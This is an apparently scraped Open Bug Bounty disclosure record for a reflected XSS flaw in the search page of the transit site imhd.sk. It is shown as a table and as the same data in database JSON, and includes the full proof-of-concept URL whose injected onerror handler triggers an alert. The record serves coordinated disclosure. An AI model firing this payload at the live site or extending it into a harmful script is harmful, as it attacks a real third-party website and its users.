Description
##### Vulnerable URL:
http://imhd.sk/ba/vyhladavanie?hladaj=%22%3E%3Cvideo%3E%3Csource%20onerror=alert(%27XSSPOSED%27)%3E
##### Details:
Description| Value
---|---
Patched:| No
Latest check for patch:| 27.07.2017
Vulnerability type:| XSS
Vulnerability status:| Publicly disclosed
Alexa Rank| 27507
VIP website status:| Yes
Check imhd.sk SSL connection:| (Grade: F)
##### Coordinated Disclosure Timeline:
Description| Value
---|---
Vulnerability submitted via Open Bug Bounty| 28 October, 2016 04:16 GMT
Generic security notifications sent to website owner| 28 October, 2016 04:19 GMT
Vulnerability details disclosed by researcher| 4 November, 2016 05:13 GMT
{"type": "openbugbounty", "viewCount": 8, "enchantments": {"score": {"value": 6.3, "vector": "NONE"}, "dependencies": {}, "backreferences": {}, "exploitation": null, "vulnersScore": 6.3}, "reporter": "OmniGooch", "title": "imhd.sk XSS vulnerability ", "cvelist": [], "bulletinFamily": "bugbounty", "cvss": {"score": 0.0, "vector": "NONE"}, "references": [], "enchantments_done": [], "modified": "2016-11-04T05:13:00", "description": "##### Vulnerable URL:\n \n \n http://imhd.sk/ba/vyhladavanie?hladaj=%22%3E%3Cvideo%3E%3Csource%20onerror=alert(%27XSSPOSED%27)%3E\n \n\n##### Details:\n\nDescription| Value \n---|--- \nPatched:| No \nLatest check for patch:| 27.07.2017 \nVulnerability type:| XSS \nVulnerability status:| Publicly disclosed \nAlexa Rank| 27507 \nVIP website status:| Yes \nCheck imhd.sk SSL connection:| (Grade: F) \n \n##### Coordinated Disclosure Timeline:\n\nDescription| Value \n---|--- \nVulnerability submitted via Open Bug Bounty| 28 October, 2016 04:16 GMT \nGeneric security notifications sent to website owner| 28 October, 2016 04:19 GMT \nVulnerability details disclosed by researcher| 4 November, 2016 05:13 GMT\n", "href": "https://www.openbugbounty.org/reports/189394/", "id": "OBB:189394", "lastseen": "2017-10-17T02:36:03", "openbugbounty": {"patchStatus": "unpatched", "mirror": ""}, "published": "2016-10-28T04:16:00", "immutableFields": [], "cvss2": {}, "cvss3": {}, "_state": {"dependencies": 1645491904, "score": 1683831885, "epss": 1678844901}, "_internal": {"score_hash": "04949402fa94becd4c6fcb661f7449e3"}}
{}